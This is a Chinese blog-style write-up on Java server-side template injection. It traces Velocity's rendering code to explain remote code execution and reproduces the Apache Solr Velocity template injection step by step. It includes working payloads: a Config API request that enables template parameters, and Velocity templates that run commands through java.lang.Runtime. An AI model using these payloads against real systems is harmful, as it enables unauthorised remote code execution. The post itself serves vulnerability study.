白頭搔更短,SSTI惹人心!

前言

爲什麼說Java審計南在SSTI呢?

  1. 現行SSTI(Server-Side Template Injection ) 資料不少,但與Java,以著名的先知社區爲例(如下圖所示),關於SSTI文章也不過幾篇而已,但與Java相關的一篇都沒有。
    在這裏插入圖片描述
  2. 搜索CVE漏洞有關於SSTI的漏洞編號也不過只有幾個而已。
    在這裏插入圖片描述
  3. 如果你是一名老司機,已經挖過ssti漏洞,那你是否知道payload構造原理呢?本文爲你解惑!老司機可以直接跳轉到後記看本文,或者你只是想看payload構造原理亦如此,本文篇幅較長,建議先收藏。

SSTI 服務端模板注入

   ssti服務端模板注入,ssti主要爲python的一些框架 jinja2、 mako tornado 、django,PHP框架smarty twig,java框架FreeMarker、jade、 velocity等等使用了渲染函數時,由於代碼不規範或信任了用戶輸入而導致了服務端模板注入,模板渲染其實並沒有漏洞,主要是程序員對代碼不規範不嚴謹造成了模板注入漏洞,造成模板可控。

在這裏插入圖片描述

// 漏洞源碼
private static void velocity(String template){
        Velocity.init();

        VelocityContext context = new VelocityContext();

        context.put("author", "Elliot A.");
        context.put("address", "217 E Broadway");
        context.put("phone", "555-1337");

        StringWriter swOut = new StringWriter();
        // 使用Velocity
        Velocity.evaluate(context, swOut, "test", template);
    }

POC
http://localhost:8080/ssti/velocity?template=%23set(%24e=%22e%22);%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22calc%22)


漏洞分析

// Velocity.evaluate函數源碼
public static boolean evaluate(Context context, Writer out, String logTag, String instring) throws ParseErrorException, MethodInvocationException, ResourceNotFoundException {
        return RuntimeSingleton.getRuntimeServices().evaluate(context, out, logTag, instring);
    }
	
  • 設置斷點開始調試

在這裏插入圖片描述

  • 進入Velocity.evaluate方法查看方法詳情
public static boolean evaluate(Context context, Writer out, String logTag, String instring) throws ParseErrorException, MethodInvocationException, ResourceNotFoundException {
        return RuntimeSingleton.getRuntimeServices().evaluate(context, out, logTag, instring);
    }

在這裏插入圖片描述

  • 繼續跟進查看,這個就是Java最常見的get方法(初始化)。也是Java的特性之一封裝性。

在這裏插入圖片描述

  • RuntimeInstance類中封裝了evaluate方法,instring被強制轉化(Reader)類型。

在這裏插入圖片描述

  • 進入StringReader看看

在這裏插入圖片描述

  • 在進入evaluate查看方法具體實現過程

public boolean evaluate(Context context, Writer writer, String logTag, Reader reader) {
        if (logTag == null) {
            throw new NullPointerException("logTag (i.e. template name) cannot be null, you must provide an identifier for the content being evaluated");
        } else {
        
            SimpleNode nodeTree = null;

            try {
            // 來到這裏進行解析
                nodeTree = this.parse(reader, logTag);
            } catch (ParseException var7) {
                throw new ParseErrorException(var7, (String)null);
            } catch (TemplateInitException var8) {
                throw new ParseErrorException(var8, (String)null);
            }
           // 判斷,然後進入this.render方法
            return nodeTree == null ? false : this.render(context, writer, logTag, nodeTree);
        }
    }

  • 繼續跟進render方法

在這裏插入圖片描述

  • render方法裏面還有一個render方法,真的是™煩。不過這個是simpleNodel類的render方法。

在這裏插入圖片描述

  • 高潮激情部分,由於前面兩個沒有什麼用,讓我們直接跳到第三個看,進入render方法。

在這裏插入圖片描述

  • 在這裏我們不能發現有一個execute方法,這就是罪魁禍首。

在這裏插入圖片描述

  • 讓我們進行跟進方法,由於是重構的execute方法,還是得看清楚點原理。
// 截取的部分關鍵性源代碼
for(int i = 0; i < this.numChildren; ++i) {
                        if (this.strictRef && result == null) {
                            methodName = this.jjtGetChild(i).getFirstToken().image;
                            throw new VelocityException("Attempted to access '" + methodName + "' on a null value at " + Log.formatFileString(this.uberInfo.getTemplateName(), this.jjtGetChild(i).getLine(), this.jjtGetChild(i).getColumn()));
                        }

                        previousResult = result;
                        result = this.jjtGetChild(i).execute(result, context);
                        if (result == null && !this.strictRef) {
                            failedChild = i;
                            break;
                        }
                    }

  • 上面的for循環我就不說了它的作用了,我們焦點放在previousResult (之前的結果)和result上面。

  • previousResult = result;首先這行代碼使其它們保持一致

  • 當遍歷的節點時候,這時候就會一步步的保存我們的payload最終導致RCE
    在這裏插入圖片描述

  • 完整的效果展示

  • 完整的調用鏈

在這裏插入圖片描述


案例分析 — Apache solr Velocity 模版注入

漏洞復現

   這個漏洞是去年10月底爆出的漏洞,這裏只做必要的簡單復現,筆者在這篇文章裏主要是分析,更加完整的漏洞復現過程參考。

  1. 第一步修改配置,開啓Velocity模版裏VelocityResponseWriter初始化參數的params.resource.loader.enabled選項,該選項默認是false。查看W3Cschool solr官方文檔可知,solr是配置api可以進行查看配置、修改配置的。

訪問查看http://127.0.0.1:8983/solr/test/config配置信息
在這裏插入圖片描述

POST /solr/test/config HTTP/1.1
Host: 127.0.0.1:8983
Content-Type: application/json
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

在這裏插入圖片描述


GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: 127.0.0.1:8983

在這裏插入圖片描述


漏洞分析環境搭建

   筆者在此是使用遠程代碼調試的方式,分析源碼。源碼下載地址windows用戶可以選擇下載這兩個,這裏筆者下載下載第二個。(下載第一個需要編譯,過程自行百度)
在這裏插入圖片描述

  1. 解壓,將源碼導入idea中,並配置idea中遠程代碼調試。
    在這裏插入圖片描述

  2. 在第二個下載壓縮包路徑CMD環境下(~~\solr-8.2.0\bin\),啓動命令solr start -p 8983 -f -a "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8983"
    在這裏插入圖片描述

  3. 用idea打開項目,導入jar文件設置爲library。(還有幾處在solr-8.2.0\contrib\velocity\lib、solr-8.2.0\server\lib…)
    在這裏插入圖片描述

  4. 打斷點調試代碼。分析一個web項目首先我們得看web.xml文件E:\Soures\solr-8.2.0\server\solr-webapp\webapp\WEB-INF\web.xml,看第一句,發現在solrconfig.xml中註冊的任何路徑(名稱)都將發送到該過濾器
    在這裏插入圖片描述

  • 斷點位置,爲什麼會在這裏打個斷點,筆者翻閱資料得知這裏是核心位置。具體參考solr源碼閱讀
    在這裏插入圖片描述

漏洞成因分析 – 代碼層

POC第一部分

   第一部分分析請查看Solr配置API:Config API文檔,文檔中說明的很清楚。PS:漏洞復現的時候也有說明。
在這裏插入圖片描述


POC後部分分析

  1. 筆者這裏直接說幾個關鍵的部分代碼
    第一步先處理請求
    在這裏插入圖片描述
  2. E:\Soures\solr-8.2.0\server\solr-webapp\webapp\WEB-INF\lib\solr-core-8.2.0.jar!\org\apache\solr\servlet\SolrDispatchFilter.class跳轉到E:\Soures\solr-8.2.0\server\solr-webapp\webapp\WEB-INF\lib\solr-core-8.2.0.jar!\org\apache\solr\servlet\HttpSolrCall.class 先處理參數wt,設置爲velocity。
    在這裏插入圖片描述
  3. 寫入響應
    在這裏插入圖片描述
  4. 判斷方法,寫查詢響應,進一步查看內容。solrReuest就是我們的payload。
    在這裏插入圖片描述
    在這裏插入圖片描述
  5. 跳轉到velocityResponWriter.class,會創建velocity模板引擎。在到133行的位置進入模板方法
    在這裏插入圖片描述
    在這裏插入圖片描述
  6. 在這裏會跳轉到SimpleNode.class類(我們熟悉的類),第一步會設置指引,接着會到ASTReference.class 在第八的位置,會遍歷方法,會執行命令。
    在這裏插入圖片描述
  7. 在這裏會跳轉到ASTMethod類中,執行。
    在這裏插入圖片描述在這裏插入圖片描述
  8. 具體執行是velocity模板引擎中有一個ClassMap類中。
    在這裏插入圖片描述

後記

知識補充

   在前面有涉及到JJTree、payload構造、JavaCC等知識,但筆者並沒有詳細的說明,筆者想先讀者們簡單瞭解一下這些知識,然後在說明一下簡單做個簡單說明。

#set語法

   #set語法可以創建一個Velocity的變量,#set語法對應的Velocity語法樹是ASTSetDirective類,翻開這個類的代碼,可以發現它有兩個子節點:分別是RightHandSide和LeftHandSide,分別代表“=”兩邊的表達式值。與Java語言的賦值操作有點不一樣的是,左邊的LeftHandSide可能是一個變量標識符,也可能是一個set方法調用。變量標識符很好理解,如前面的#set($var=“偶數”),另外是一個set方法調用,如#set($person.name=”junshan”),這實際上相當於Java中person.setName(“junshan”)方法的調用。

#foreach語法

Velocity中的循環語法只有這一種,它與Java中的for循環的語法糖形式十分類似,如#foreach($child in $person.children) person.childrenListperson.children表示的是一個集合,它可能是一個List集合或者一個數組,而child表示的是每個從集合中取出的值。從render方法代碼中可以看出,Velocity首先是取得person.childrenIteratorperson.children的值,然後將這個值封裝成Iterator集合,然後依次取出這個集合中的每一個值,將這個值以child爲變量標識符放入context中。除此以外需要特別注意的是,Velocity在循環時還在context中放入了另外兩個變量,分別是counterName和hasNextName,這兩個變量的名稱分別在配置文件配置項directive.foreach.counter.name和directive.foreach.iterator.name中定義,它們表示當前的循環計數和是否還有下一個值。前者相當於for(int i=1;i<10;i++)中的i值,後者相當於while(it.hasNext())中的it.hasNext()的值,這兩個值在#foreach的循環體中都有可能用到。由於elementKey、counterName和hasNextName是在#foreach中臨時創建的,如果當前的context中已經存在這幾個變量,要把原始的變量值保存起來,以便在這個#foreach執行結束後恢復。如果context中沒有這幾個變量,那麼#foreach執行結束後要刪除它們,這就是代碼最後部分做的事情,這與我們前面介紹的#set語法沒有範圍限制不同,#foreach中臨時產生的變量只在#foreach中有效。

JJTree渲染過程解析

下面是JJTree的語法樹:

關於POC構造方法補充說明

VelocityResponseWriter 初始化參數

  • template.base.dir
    如果指定並作爲文件系統目錄存在,則將爲此目錄添加一個文件資源加載程序。此目錄中的模板將覆蓋 “solr” 資源加載程序模板。
  • init.properties.file
    指定一個屬性文件名,必須存在於 Solr 的conf/目錄(而不是在velocity/子目錄中)或者 的 JAR 文件的根中。
  • params.resource.loader.enabled
    “params” 資源加載程序允許在 Solr 請求參數中指定模板。例如:

http://localhost:8983/solr/gettingstarted/select?q=\*:*&wt=velocity&v.template=custom&v.template.custom=CUSTOM%3A%20%23core_name v.template=custom表示要呈現一個名爲“自定義”的模板,其值v.template.custom是自定義模板。默認情況下爲false;它不常用,需要時啓用。

  • solr.resource.loader.enabled
    “solr” 資源加載程序是默認註冊的唯一模板加載程序。模板是由 SolrResourceLoader 從velocity/子目錄下可見的資源提供的。VelocityResponseWriter 本身有一些內置的模板(在它 JAR 文件中的velocity/),這些模板可以通過這個加載程序自動使用。當相同的模板名稱處於 conf/velocity/ 或使用template.base.dir選項時,可以覆蓋這些內置模板。

VelocityResponseWriter請求參數

  • v.template
    指定要呈現的模板的名稱。

  • v.layout
    指定一個模板名稱,用作圍繞主v.template指定模板的佈局。
    主模板呈現爲包含在佈局渲染中的字符串值$content。

  • v.layout.enabled
    確定主模板是否應該有圍繞它的佈局。默認是true,但也需要指定v.layout
    v.contentType
    指定 HTTP 響應中使用的內容類型。如果沒有指定,默認取決於是否指定v.json
    默認情況下不包含v.json=wrf:text/html;charset=UTF-8
    默認爲v.json=wrf:application/json;charset=UTF-8

  • v.json
    指定一個函數名稱來包裝呈現爲 JSON 的響應。如果指定,則響應中使用的內容類型將爲“application / json; charset = UTF-8”,除非被v.contentType覆蓋。
    輸出將採用以下格式(帶v.json=wrf):

    wrf("result":"<Velocity generated response string, with quotes and backslashes escaped>")
    
  • v.locale
    使用$resource工具和其他 LocaleConfig 實現工具的語言環境。默認語言環境是Locale.ROOT。本地化資源從名爲resources[_locale-code].properties的標準 Java 資源包中加載
    可以通過提供由 SolrResourceLoader 在速度子下的資源包可見的 JAR 文件來添加資源包。資源包不能在conf/下加載,因爲只有 SolrResourceLoader 的類加載程序方面可以在這裏使用。

  • v.template.template_name
    當啓用 “params” 資源加載程序時,可以將模板指定爲 Solr 請求的一部分。
    params.resource.loader.enabled
    “params” 資源加載程序允許在 Solr 請求參數中指定模板。例如:
    http://localhost:8983/solr/gettingstarted/select?q=\*:*&wt=velocity&v.template=custom&v.template.custom=CUSTOM%3A%20%23core_name


  1. 先將poc進行解碼
http://127.0.0.1:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('calc')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
  1. set和foreach語法前面都介紹了,現在在看payload是不是就一目瞭然了?如何構造,爲什麼這麼構造…
#set($x='')  
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))  
#set($str=$x.class.forName('java.lang.String'))
#set($ex=$rt.getRuntime().exec('calc'))$ex.waitFor() 
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))
#end

在這裏插入圖片描述
在這裏插入圖片描述


附圖:各框架模板結構:


總結

漏洞總結

   Apache Solr的Config API是自帶功能,用於通過HTTP請求更改配置;當Solr未設置訪問鑑權時,可以直接通過ConfigAPI更改配置,爲漏洞利用創造了前提。config api是solr多此爆出漏洞關鍵Apache Solr RCE有想法的童鞋可以看看這個項目。

題外話

   之前剛剛爆出漏洞的時候,筆者還曾復現過,但奈何能力有限,不能深入理解其中內涵。深表慚愧,總的來說,努力學習,安全一行任重而道遠。


推薦學習資料

   想進行深入研究此漏洞肯定光看我這篇文章是不足的,畢竟我這這個只是Java方面上的,python、php等語言都沒介紹。故此推薦,望彼有助。

國內資料

Python方面:SSTI/沙盒逃逸詳細總結
flask之ssti模版注入從零到入門
Flask/Jinja2模板注入中的一些繞過姿勢
PHP方面:服務端模板注入攻擊 (SSTI)之淺析

國外資料

這篇總結的比較全面:Server-Side Template Injection: RCE for the modern webapp

Python方面:Jinja2 template injection filter bypasses


參考

https://www.liangzl.com/get-article-detail-138970.html
https://xz.aliyun.com/t/3679
https://cert.360.cn/report/detail?id=6125d7f75170c309de1ffdde11f86355
https://paper.seebug.org/1107/#41
https://ackcent.com/blog/in-depth-freemarker-template-injection/
https://www.cnblogs.com/wade-luffy/p/5996848.html
https://www.w3cschool.cn/solr_doc/solr_doc-umxd2h9z.html
https://blog.csdn.net/weixin_38964895/article/details/81381060
https://blog.csdn.net/sweety820/article/details/74347068?depth_1-utm_source=distribute.pc_relevant.none-task&utm_source=distribute.pc_relevant.none-task

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章